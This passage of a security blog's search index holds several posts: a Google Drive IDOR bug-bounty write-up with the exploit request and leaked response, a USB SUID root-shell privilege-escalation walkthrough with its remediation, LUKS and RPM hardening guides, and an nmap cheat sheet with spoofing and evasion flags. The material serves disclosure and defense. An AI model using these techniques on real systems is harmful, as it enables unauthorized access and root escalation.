\u003cstrong\u003e\u003ccode\u003eumask\u003c/code\u003e (User Mask)\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eUnderstanding how \u003ccode\u003eumask\u003c/code\u003e operates is essential for preventing accidental disclosure of confidential files (e.g., world-readable configuration files or SSH keys).\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"the-fundamental-rule-masking-not-subtraction\"\u003eThe Fundamental Rule: Masking, Not Subtraction\u003c/h3\u003e\n\u003cp\u003eBy default, the Linux operating system assigns base permissions:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eDefault Base for Files:\u003c/strong\u003e \u003ccode\u003e0666\u003c/code\u003e (\u003ccode\u003erw-rw-rw-\u003c/code\u003e) — Files are never created with execute (\u003ccode\u003ex\u003c/code\u003e) permissions by default for safety.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDefault Base for Directories:\u003c/strong\u003e \u003ccode\u003e0777\u003c/code\u003e (\u003ccode\u003erwxrwxrwx\u003c/code\u003e) — Directories require execute permissions to allow traversal (\u003ccode\u003ecd\u003c/code\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe \u003ccode\u003eumask\u003c/code\u003e acts as a \u003cstrong\u003ebitmask filter\u003c/strong\u003e: it specifies which permission bits should be \u003cstrong\u003edisabled (masked out)\u003c/strong\u003e when a new file or directory is created.\u003c/p\u003e","title":"Demystifying Linux umask: Calculating Default Permissions and System Hardening"},{"content":"In April 2015, I reported an Insecure Direct Object Reference (IDOR) vulnerability to the Google Vulnerability Reward Program (Google VRP) affecting Google Drive and Gmail attachments.\nThe flaw allowed an attacker to query document metadata, filenames, user account names, and direct download authorization hashes for arbitrary Google Drive accounts by manipulating internal directory object identifiers (docId).\nGoogle resolved the issue and awarded a $3,133.70 bounty.\nBackground: Google Drive Sharing Flow When users share files in Google Drive or attach photos/documents via Gmail, Google generates a resource token (a unique file hash) and associates it with the user\u0026rsquo;s root folder collection (docId).\nDuring testing of the Google Drive Web UI, I intercepted internal state synchronization calls transmitted to the /act endpoint.\nThe Vulnerability: IDOR on /act When requesting directory updates, the Google Drive web interface dispatches a POST request containing a parameter named docId:\nPOST /act HTTP/1.1 Host: drive.google.com Content-Type: application/x-www-form-urlencoded;charset=utf-8 X-Json-Requested: true Cookie: [Authenticated User Session Cookies] docId=0ALWQPi6NE9vbUk9PVA\u0026amp;recursive=true\u0026amp;minResultCount=20\u0026amp;token=[CSRF_TOKEN]\u0026amp;authuser=0 The Root Cause: The server-side backend verified that the caller had a valid authenticated session, but failed to verify whether the requesting account possessed authorization to view the target docId collection.\nFurthermore, root collection identifiers followed a predictable pattern:\nStarted with 0A Ended with fixed padding: Uk9PVA Low-entropy middle string (easily enumerated or discovered through shared link leaks). Information Disclosure Response By substituting the docId parameter with another user\u0026rsquo;s root directory ID, the API returned a full JSON representation of the victim\u0026rsquo;s files, shared photos, and Gmail attachments:\nHTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 )]}\u0026#39; { \u0026#34;response\u0026#34;: { \u0026#34;responseProto\u0026#34;: \u0026#34;[[[10,[10,17]\\n,[[,\\\u0026#34;Target User Display Name\\\u0026#34;,,\\\u0026#34;/c/u/0/photos/public/AIbEiAIAAAB...\\\u0026#34;,,\\\u0026#34;07075400765864628005\\\u0026#34;]\\n]\\n,[[\\\u0026#34;0B7WXP883E9vbX1CBZWtaemtPNXM\\\u0026#34;,\\\u0026#34;financial_records.pdf\\\u0026#34;,\\\u0026#34;application/pdf\\\u0026#34;]\\n]\\n,,,,,,,,,,[,,,,1]\\n,,0]\\n]\\n,,59807321897]\\n\u0026#34; } } The response leaked:\nTarget account display name and profile image URLs. Complete file names and MIME types. The cryptographic file token: 0B7WXP883E9vbX1CBZWtaemtPNXM. With the direct token exposed, the attacker could download the private document directly: https://drive.google.com/file/d/0B7WXP883E9vbX1CBZWtaemtPNXM/\nDisclosure Timeline April 22, 2015: Vulnerability reported to Google Security Team. April 23, 2015: Report triaged and accepted by Google security engineers. April 30, 2015: Backend authorization fix deployed across Google infrastructure. May 7, 2015: docId entropy enhanced; $3,133.70 bounty awarded. ","permalink":"/google-drive-information-leak/","summary":"\u003cp\u003eIn April 2015, I reported an Insecure Direct Object Reference (\u003cstrong\u003eIDOR\u003c/strong\u003e) vulnerability to the Google Vulnerability Reward Program (Google VRP) affecting Google Drive and Gmail attachments.\u003c/p\u003e\n\u003cp\u003eThe flaw allowed an attacker to query document metadata, filenames, user account names, and direct download authorization hashes for arbitrary Google Drive accounts by manipulating internal directory object identifiers (\u003ccode\u003edocId\u003c/code\u003e).\u003c/p\u003e\n\u003cp\u003eGoogle resolved the issue and awarded a \u003cstrong\u003e$3,133.70\u003c/strong\u003e bounty.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"background-google-drive-sharing-flow\"\u003eBackground: Google Drive Sharing Flow\u003c/h3\u003e\n\u003cp\u003eWhen users share files in Google Drive or attach photos/documents via Gmail, Google generates a resource token (a unique file hash) and associates it with the user\u0026rsquo;s root folder collection (\u003ccode\u003edocId\u003c/code\u003e).\u003c/p\u003e","title":"Google VRP Writeup: Insecure Direct Object Reference (IDOR) in Google Drive File Sharing"},{"content":"When external USB flash drives or external storage media are plugged into desktop Linux distributions, automated desktop daemons (like udisks2 or automount rules) often mount them automatically.\nIf the filesystem is mounted without explicit security constraints, an unprivileged user or malicious physical actor can escalate to root privileges instantly using pre-configured SUID binaries.\nThe Attack Vector: SUID Preservation on Portable Filesystems POSIX filesystems (such as ext4, ext3, xfs) store Unix file permissions—including the SetUID (suid) bit (chmod 4755) and file ownership—directly inside the filesystem\u0026rsquo;s inode tables.\nIf an attacker prepares a USB drive on their personal machine where they have root access:\nFormat a USB partition with ext4:\nsudo mkfs.ext4 /dev/sdX1 sudo mount /dev/sdX1 /mnt/usb Copy a shell or binary and set the SUID root bit:\nsudo cp /bin/bash /mnt/usb/rootbash sudo chown root:root /mnt/usb/rootbash sudo chmod 4755 /mnt/usb/rootbash sudo umount /mnt/usb Insert the USB into the target victim Linux machine: When the target system mounts /dev/sdX1 at /media/usb without restrictive flags, any low-privileged user executing the binary inherits root privileges:\n/media/usb/rootbash -p # whoami -\u0026gt; root Remediation: Enforcing nosuid, nodev, and noexec To eliminate this vulnerability, all dynamic and removable media mount configurations must strictly enforce three mount flags:\nMount Flag Security Function nosuid Disables SetUID and SetGID bits on the mounted filesystem. Even if a file is owned by root with 4755, it executes with standard invoking user permissions. nodev Prevents the kernel from interpreting character or block special device files on the partition. noexec Completely prohibits direct execution of binaries from the partition. Example Hardened /etc/fstab Entry: /dev/sdb1 /mnt/removable ext4 defaults,nosuid,nodev,noexec 0 0 Hardening Desktop Automount (udisks2) For systems using modern desktop environments, configure UDisks rules under /etc/udisks2/mount_options.conf:\n[defaults] allow=exec,noexec,nodev,nosuid,atime,noatime,nodiratime,ro,rw,sync,dirsync,utf8 Ensure nosuid and nodev are default parameters for all external storage devices.\n","permalink":"/removable-disk-could-lead-to-privilege-escalation/","summary":"\u003cp\u003eWhen external USB flash drives or external storage media are plugged into desktop Linux distributions, automated desktop daemons (like \u003ccode\u003eudisks2\u003c/code\u003e or automount rules) often mount them automatically.\u003c/p\u003e\n\u003cp\u003eIf the filesystem is mounted without explicit security constraints, an unprivileged user or malicious physical actor can escalate to root privileges instantly using pre-configured SUID binaries.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"the-attack-vector-suid-preservation-on-portable-filesystems\"\u003eThe Attack Vector: SUID Preservation on Portable Filesystems\u003c/h3\u003e\n\u003cp\u003ePOSIX filesystems (such as \u003ccode\u003eext4\u003c/code\u003e, \u003ccode\u003eext3\u003c/code\u003e, \u003ccode\u003exfs\u003c/code\u003e) store Unix file permissions—including the \u003cstrong\u003eSetUID (\u003ccode\u003esuid\u003c/code\u003e) bit\u003c/strong\u003e (\u003ccode\u003echmod 4755\u003c/code\u003e) and file ownership—directly inside the filesystem\u0026rsquo;s inode tables.\u003c/p\u003e","title":"Linux Local Privilege Escalation via Removable Media and Insecure Mount Options"},{"content":"In Block-Level Disk Encryption with LUKS, we explored interactive unlocking via passphrases. However, on unattended servers, secondary data drives or database volumes must frequently unlock and mount automatically during system boot without manual console intervention.\nThis guide outlines configuring keyfile-based authentication for LUKS partitions using /etc/crypttab and /etc/fstab.\nSecurity Architecture Note: Storing a plaintext decryption key on the same machine that hosts the encrypted data protects against drive theft (decommissioning or drive pulling), but does not protect against complete machine theft where the root filesystem is unencrypted. Ensure your root partition is also protected or store the key on a dedicated hardware token / TPM / networked keyserver.\nStep 1: Generate a High-Entropy Keyfile Generate a 4096-byte random keyfile from /dev/urandom and restrict permissions strictly to root:\nsudo dd if=/dev/urandom of=/etc/luks_keys/sdb1.key bs=512 count=8 sudo chmod 400 /etc/luks_keys/sdb1.key Step 2: Enroll the Keyfile into a LUKS Key Slot LUKS supports up to 8 independent key slots. You can keep your existing interactive passphrase in Slot 0 while adding the keyfile to Slot 1:\nsudo cryptsetup luksAddKey /dev/sdb1 /etc/luks_keys/sdb1.key Enter an existing valid passphrase to authorize enrolling the new key.\nStep 3: Configure /etc/crypttab The /etc/crypttab file instructs the system to initialize encrypted device mappings during early boot before mounting filesystems.\nEdit /etc/crypttab:\n# \u0026lt;target_name\u0026gt; \u0026lt;source_device\u0026gt; \u0026lt;key_file_path\u0026gt; \u0026lt;options\u0026gt; secure_storage /dev/sdb1 /etc/luks_keys/sdb1.key luks (Best Practice: Replace /dev/sdb1 with its persistent UUID obtained via blkid /dev/sdb1, e.g. UUID=9d6073d6-2536-4d5a-b21d-9586d20f4acf).\nStep 4: Configure /etc/fstab for Persistent Mounting Add an entry in /etc/fstab pointing to the decrypted device mapper node:\n/dev/mapper/secure_storage /mnt/secure_data ext4 defaults,nofail 0 2 Adding nofail ensures that if the secondary drive fails to initialize, the operating system continues booting into an interactive maintenance shell rather than hanging.\nStep 5: Test Without Rebooting Test your configuration immediately to ensure there are no syntax errors:\n# Test crypttab configuration sudo cryptdisks_start secure_storage # (Or on systemd: sudo systemctl restart systemd-cryptsetup@secure_storage) # Test fstab mounting sudo mount -a Verify that /mnt/secure_data is mounted and operational. The volume will now automatically unlock and mount across all subsequent system reboots.\n","permalink":"/persistent-mount-for-luks-with-unlock-key/","summary":"\u003cp\u003eIn \u003ca href=\"/linux-disk-encryption-with-luks/\"\u003eBlock-Level Disk Encryption with LUKS\u003c/a\u003e, we explored interactive unlocking via passphrases. However, on unattended servers, secondary data drives or database volumes must frequently unlock and mount automatically during system boot without manual console intervention.\u003c/p\u003e\n\u003cp\u003eThis guide outlines configuring keyfile-based authentication for LUKS partitions using \u003ccode\u003e/etc/crypttab\u003c/code\u003e and \u003ccode\u003e/etc/fstab\u003c/code\u003e.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eSecurity Architecture Note:\u003c/strong\u003e Storing a plaintext decryption key on the same machine that hosts the encrypted data protects against drive theft (decommissioning or drive pulling), but does \u003cstrong\u003enot\u003c/strong\u003e protect against complete machine theft where the root filesystem is unencrypted. Ensure your root partition is also protected or store the key on a dedicated hardware token / TPM / networked keyserver.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Persistent Automated Mounting for LUKS Encrypted Volumes at Boot"},{"content":"Linux Unified Key Setup (LUKS) is the standard specification for Linux block-device encryption. Implemented via the dm-crypt kernel module and managed with cryptsetup, LUKS provides transparent disk encryption below the filesystem layer.\nThis guide walks through creating an encrypted partition on a storage device, initializing the LUKS header, formatting the decrypted mapping, and managing its mount lifecycle.\nStep 1: Partitioning the Target Disk Identify your target drive (e.g., /dev/sdb) using lsblk or fdisk -l. Use fdisk or parted to create a partition:\nsudo fdisk /dev/sdb Type n for a new primary partition. Specify partition size (e.g., +100M or full disk capacity). Type w to write the partition table. Our new partition is now available at /dev/sdb1.\nStep 2: Initializing the LUKS Container (luksFormat) Initialize the partition as an encrypted LUKS container:\nsudo cryptsetup -y -v luksFormat /dev/sdb1 WARNING! ======== This will overwrite data on /dev/sdb1 irrevocably. Are you sure? (Type uppercase yes): YES Enter passphrase: Verify passphrase: Command successful. The partition now contains a LUKS header with encrypted key slots. Raw data cannot be read without the passphrase.\nStep 3: Unlocking the Encrypted Container (luksOpen) To interact with the encrypted volume, decrypt and map it into the Linux Device Mapper:\nsudo cryptsetup luksOpen /dev/sdb1 secure_storage Enter your passphrase. Upon verification, the kernel creates an unencrypted virtual block device at: /dev/mapper/secure_storage\nStep 4: Creating the Filesystem and Mounting Format the virtual mapping with your preferred filesystem (e.g., ext4 or xfs):\nsudo mkfs.ext4 /dev/mapper/secure_storage Create a mount point and mount the decrypted volume:\nsudo mkdir -p /mnt/secure_data sudo mount /dev/mapper/secure_storage /mnt/secure_data Verify the active mount:\ndf -h /mnt/secure_data # Filesystem Size Used Avail Use% Mounted on # /dev/mapper/secure_storage 91M 1.6M 83M 2% /mnt/secure_data Any files written to /mnt/secure_data are automatically encrypted on-the-fly before writing to physical sectors on /dev/sdb1.\nStep 5: Locking Down the Encrypted Partition When work is finished, cleanly unmount the filesystem and close the device mapper mapping:\n# 1. Unmount the filesystem sudo umount /mnt/secure_data # 2. Tear down the decrypted kernel mapping sudo cryptsetup luksClose secure_storage Once closed, the device mapper node /dev/mapper/secure_storage is removed from the kernel, leaving only the encrypted raw sectors on /dev/sdb1.\n","permalink":"/linux-disk-encryption-with-luks/","summary":"\u003cp\u003e\u003cstrong\u003eLinux Unified Key Setup (LUKS)\u003c/strong\u003e is the standard specification for Linux block-device encryption. Implemented via the \u003ccode\u003edm-crypt\u003c/code\u003e kernel module and managed with \u003ccode\u003ecryptsetup\u003c/code\u003e, LUKS provides transparent disk encryption below the filesystem layer.\u003c/p\u003e\n\u003cp\u003eThis guide walks through creating an encrypted partition on a storage device, initializing the LUKS header, formatting the decrypted mapping, and managing its mount lifecycle.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"step-1-partitioning-the-target-disk\"\u003eStep 1: Partitioning the Target Disk\u003c/h3\u003e\n\u003cp\u003eIdentify your target drive (e.g., \u003ccode\u003e/dev/sdb\u003c/code\u003e) using \u003ccode\u003elsblk\u003c/code\u003e or \u003ccode\u003efdisk -l\u003c/code\u003e. Use \u003ccode\u003efdisk\u003c/code\u003e or \u003ccode\u003eparted\u003c/code\u003e to create a partition:\u003c/p\u003e","title":"Block-Level Disk Encryption on Linux with LUKS and dm-crypt"},{"content":"Installing software packages from untrusted third-party repositories poses substantial security risks. In RPM-based systems (RHEL, CentOS, Fedora), an RPM is not merely an archive of binaries—it contains cryptographic signatures, file digests, and embedded shell scripts (\u0026ldquo;scriptlets\u0026rdquo;) that execute with full root privileges during installation and removal.\nHere is how to audit RPM package integrity and inspect scriptlets prior to execution.\n1. Auditing Installed GPG Keys When YUM/DNF installs signed packages, it checks them against GPG public keys registered in the local RPM database.\nTo enumerate all installed GPG keys:\nrpm -qa gpg-pubkey* # gpg-pubkey-e8562897-459f07a4 # gpg-pubkey-217521f6-45e8a532 To display metadata (signer name, key ID, expiration date) for a specific installed key:\nrpm -qi gpg-pubkey-217521f6-45e8a532 2. Validating Package Signatures Prior to Installation Before installing a downloaded .rpm file, verify its cryptographic GPG signature and payload digest:\nrpm -K package.rpm # package.rpm: (sha1) dsa sha1 md5 gpg OK To view verbose signature details and determine exactly which key ID signed the binary:\nrpm -vvK package.rpm D: Header V3 DSA signature: OK, key ID 862acc42 D: Header SHA1 digest: OK D: MD5 digest: OK If an RPM has been tampered with or signed by an untrusted key, RPM warns NOT OK (MISSING KEYS) or flags checksum mismatches.\n3. Auditing Embedded RPM Scriptlets A common supply-chain attack vector involves inserting malicious commands into RPM package lifecycle scripts. RPM packages can define four execution phases:\npreinstall (%pre): Runs before files are unpacked. postinstall (%post): Runs immediately after files are written. preuninstall (%preun): Runs before package removal. postuninstall (%postun): Runs after package removal. To extract and review these scriptlets before installing an unverified package:\nrpm -qp --scripts package.rpm Example Output: preinstall scriptlet (using /bin/sh): getent group openvpn \u0026amp;\u0026gt;/dev/null || groupadd -r openvpn getent passwd openvpn \u0026amp;\u0026gt;/dev/null || \\ /usr/sbin/useradd -r -g openvpn -s /sbin/nologin -c OpenVPN \\ -d /etc/openvpn openvpn postinstall scriptlet (using /bin/sh): /sbin/systemctl daemon-reload 4. Installing While Suppressing Scriptlets If you need to unpack or install an RPM without allowing its embedded scripts to execute (e.g., during forensic inspection or in minimal container builds):\n# Suppress all pre/post scriptlets: sudo rpm -ivh --noscripts package.rpm # Suppress triggers: sudo rpm -ivh --notriggers package.rpm ","permalink":"/rpm-integrity-and-scripts/","summary":"\u003cp\u003eInstalling software packages from untrusted third-party repositories poses substantial security risks. In RPM-based systems (RHEL, CentOS, Fedora), an RPM is not merely an archive of binaries—it contains cryptographic signatures, file digests, and \u003cstrong\u003eembedded shell scripts (\u0026ldquo;scriptlets\u0026rdquo;) that execute with full root privileges\u003c/strong\u003e during installation and removal.\u003c/p\u003e\n\u003cp\u003eHere is how to audit RPM package integrity and inspect scriptlets prior to execution.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"1-auditing-installed-gpg-keys\"\u003e1. Auditing Installed GPG Keys\u003c/h3\u003e\n\u003cp\u003eWhen YUM/DNF installs signed packages, it checks them against GPG public keys registered in the local RPM database.\u003c/p\u003e","title":"RPM Package Security: Cryptographic Verification and Scriptlet Auditing"},{"content":"Red Hat Enterprise Linux (RHEL) and derivative distributions classify package fixes into structured advisories:\nRHSA (Red Hat Security Advisory): Contains fixes for security vulnerabilities and assigned CVEs. RHBA (Red Hat Bug Advisory): Contains stability, performance, and bug fixes. RHEA (Red Hat Enhancement Advisory): Introduces non-critical product enhancements or feature additions. Using the yum-plugin-security extension (standard in RHEL 6/7 and integrated directly into dnf on RHEL 8/9), system administrators can audit and apply security-only patches without risking unexpected major version upgrades.\n1. Inspecting Available Security Updates To query available security updates for installed packages without modifying the system, use yum updateinfo:\n# List all pending security advisories yum updateinfo list security # Query security advisories affecting a specific package (e.g., openssl) yum updateinfo list openssl Example output:\nFEDORA-2015-0512 security openssl-1:1.0.1k-1.fc21.x86_64 FEDORA-2015-4303 security openssl-1:1.0.1k-6.fc21.x86_64 FEDORA-2015-10108 security openssl-1:1.0.1k-10.fc21.x86_64 To display full advisory details, including severity, affected bugzilla IDs, and CVE descriptions:\nyum updateinfo info FEDORA-2015-9599 Output:\n=============================================================================== qemu-2.1.3-8.fc21 =============================================================================== Update ID : FEDORA-2015-9599 Release : Fedora 21 Type : security Status : stable Bugs : 1151253 - User interface freezes when entering space character : 1222894 - qemu: insecure temporary file use in /net/slirp.c : 1222892 - CVE-2015-4037 qemu: insecure temporary file use Description : Insecure temporary file usage in slirp networking layer. 2. Applying Security Patches Apply All Available Security Updates To upgrade all installed packages that have an associated security advisory:\nyum update --security Target a Specific Advisory (RHSA) To deploy patches for a designated advisory ID:\nyum update --advisory=RHSA-2015:0291 Target Specific CVEs or Bugzilla Tickets You can selectively apply patches addressing designated vulnerability identifiers:\nyum update --cve=CVE-2015-4037 # Or combine Bugzilla IDs and CVE identifiers yum update --bzs=1222892,1222894 --cves=CVE-2015-4037 3. Best Practices for Production Environments Verify Backported Patches: Red Hat frequently backports security fixes into stable upstream package releases without bumping the major software version. This preserves API/ABI compatibility across enterprise environments. Review Changelogs: Inspect package changes prior to upgrading: rpm -q --changelog openssl | head -n 20 Simulate Transactions: Always test the update transaction first: yum update --security --assumeno ","permalink":"/redhat-packaging-security-with-yum/","summary":"\u003cp\u003eRed Hat Enterprise Linux (RHEL) and derivative distributions classify package fixes into structured advisories:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eRHSA (Red Hat Security Advisory):\u003c/strong\u003e Contains fixes for security vulnerabilities and assigned CVEs.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRHBA (Red Hat Bug Advisory):\u003c/strong\u003e Contains stability, performance, and bug fixes.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRHEA (Red Hat Enhancement Advisory):\u003c/strong\u003e Introduces non-critical product enhancements or feature additions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eUsing the \u003ccode\u003eyum-plugin-security\u003c/code\u003e extension (standard in RHEL 6/7 and integrated directly into \u003ccode\u003ednf\u003c/code\u003e on RHEL 8/9), system administrators can audit and apply security-only patches without risking unexpected major version upgrades.\u003c/p\u003e","title":"Enterprise Linux Security Patching with YUM and Red Hat Security Advisories (RHSA)"},{"content":"Nmap (\u0026ldquo;Network Mapper\u0026rdquo;) is the industry standard for network discovery, port scanning, and vulnerability surface mapping.\nThis cheat sheet compiles the most critical scanning flags categorized by operational objective.\n1. Host Discovery (Ping Sweeps) Determine which hosts are alive on a target network without performing full port scans:\n# ICMP Echo Request nmap -sn -PE \u0026lt;target_range\u0026gt; # ICMP Timestamp \u0026amp; Address Mask Requests nmap -sn -PP \u0026lt;target_range\u0026gt; nmap -sn -PM \u0026lt;target_range\u0026gt; # ARP Ping (fastest for local subnet discovery) nmap -sn -PR \u0026lt;local_subnet\u0026gt; # TCP SYN / ACK Ping (probes ports without full scan) nmap -sn -PS22,80,443 \u0026lt;target_range\u0026gt; nmap -sn -PA80,443 \u0026lt;target_range\u0026gt; 2. Core Port Scanning Techniques Flag Scan Type Description -sS TCP SYN (Stealth) Default scan. Sends SYN, receives SYN/ACK, then sends RST without completing handshake. Stealthy and fast. -sT TCP Connect Completes the full 3-way handshake (connect() syscall). Used when unprivileged or behind strict proxies. -sU UDP Scan Probes UDP endpoints (DNS, SNMP, NTP, DHCP). Slower because closed ports return ICMP port unreachable. -sV Version Detection Interrogates open ports to determine service name and version numbers. -sA TCP ACK Scan Maps firewall rules and state tables (determines filtered vs. unfiltered ports). -sW TCP Window Scan Exploits anomalies in TCP Window sizes of certain OS implementations. # Typical comprehensive scan: nmap -sS -sV -sC -O -p- -T4 \u0026lt;target\u0026gt; 3. Advanced \u0026amp; Inverse TCP Scans (Bypassing Stateless Firewalls) Inverse scans manipulate TCP header flags (RFC 793). Open ports drop the packet without reply, whereas closed ports respond with a RST:\n# NULL Scan (No flags set) nmap -sN \u0026lt;target\u0026gt; # FIN Scan (Only FIN flag set) nmap -sF \u0026lt;target\u0026gt; # Xmas Scan (FIN, PSH, and URG flags set - lights up like a Christmas tree) nmap -sX \u0026lt;target\u0026gt; # Maimon Scan (FIN/ACK) nmap -sM \u0026lt;target\u0026gt; 4. Advanced Evasion \u0026amp; Identity Spoofing # Idle / Zombie Scan (Blind scan using an IP ID idle host) nmap -sI \u0026lt;zombie_host\u0026gt; \u0026lt;target\u0026gt; # Spoof Source IP Address nmap -e eth0 -Pn -S \u0026lt;spoofed_ip\u0026gt; \u0026lt;target\u0026gt; # Spoof MAC Address nmap --spoof-mac 00:11:22:33:44:55 \u0026lt;target\u0026gt; # Fragment Packets into 8-byte chunks (splits TCP headers across packets) nmap -f \u0026lt;target\u0026gt; 5. Specialized Protocols # SCTP INIT and Cookie-Echo Scans (common in telecommunication networks) nmap -sY \u0026lt;target\u0026gt; nmap -sZ \u0026lt;target\u0026gt; # Raw IP Protocol Scan (discovers which IP protocols: ICMP, TCP, UDP, GRE, ESP are supported) nmap -sO \u0026lt;target\u0026gt; ","permalink":"/nmap-cheat-sheet/","summary":"\u003cp\u003e\u003cstrong\u003eNmap (\u0026ldquo;Network Mapper\u0026rdquo;)\u003c/strong\u003e is the industry standard for network discovery, port scanning, and vulnerability surface mapping.\u003c/p\u003e\n\u003cp\u003eThis cheat sheet compiles the most critical scanning flags categorized by operational objective.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"1-host-discovery-ping-sweeps\"\u003e1. Host Discovery (Ping Sweeps)\u003c/h3\u003e\n\u003cp\u003eDetermine which hosts are alive on a target network without performing full port scans:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# ICMP Echo Request\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enmap -sn -PE \u0026lt;target_range\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# ICMP Timestamp \u0026amp; Address Mask Requests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enmap -sn -PP \u0026lt;target_range\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enmap -sn -PM \u0026lt;target_range\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# ARP Ping (fastest for local subnet discovery)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enmap -sn -PR \u0026lt;local_subnet\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# TCP SYN / ACK Ping (probes ports without full scan)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enmap -sn -PS22,80,443 \u0026lt;target_range\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enmap -sn -PA80,443 \u0026lt;target_range\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch3 id=\"2-core-port-scanning-techniques\"\u003e2. Core Port Scanning Techniques\u003c/h3\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eFlag\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eScan Type\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eDescription\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003e\u003ccode\u003e-sS\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eTCP SYN (Stealth)\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eDefault scan. Sends SYN, receives SYN/ACK, then sends RST without completing handshake. Stealthy and fast.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003e\u003ccode\u003e-sT\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eTCP Connect\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eCompletes the full 3-way handshake (\u003ccode\u003econnect()\u003c/code\u003e syscall). Used when unprivileged or behind strict proxies.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003e\u003ccode\u003e-sU\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eUDP Scan\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eProbes UDP endpoints (DNS, SNMP, NTP, DHCP). Slower because closed ports return ICMP port unreachable.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003e\u003ccode\u003e-sV\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eVersion Detection\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eInterrogates open ports to determine service name and version numbers.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003e\u003ccode\u003e-sA\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eTCP ACK Scan\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eMaps firewall rules and state tables (determines filtered vs. unfiltered 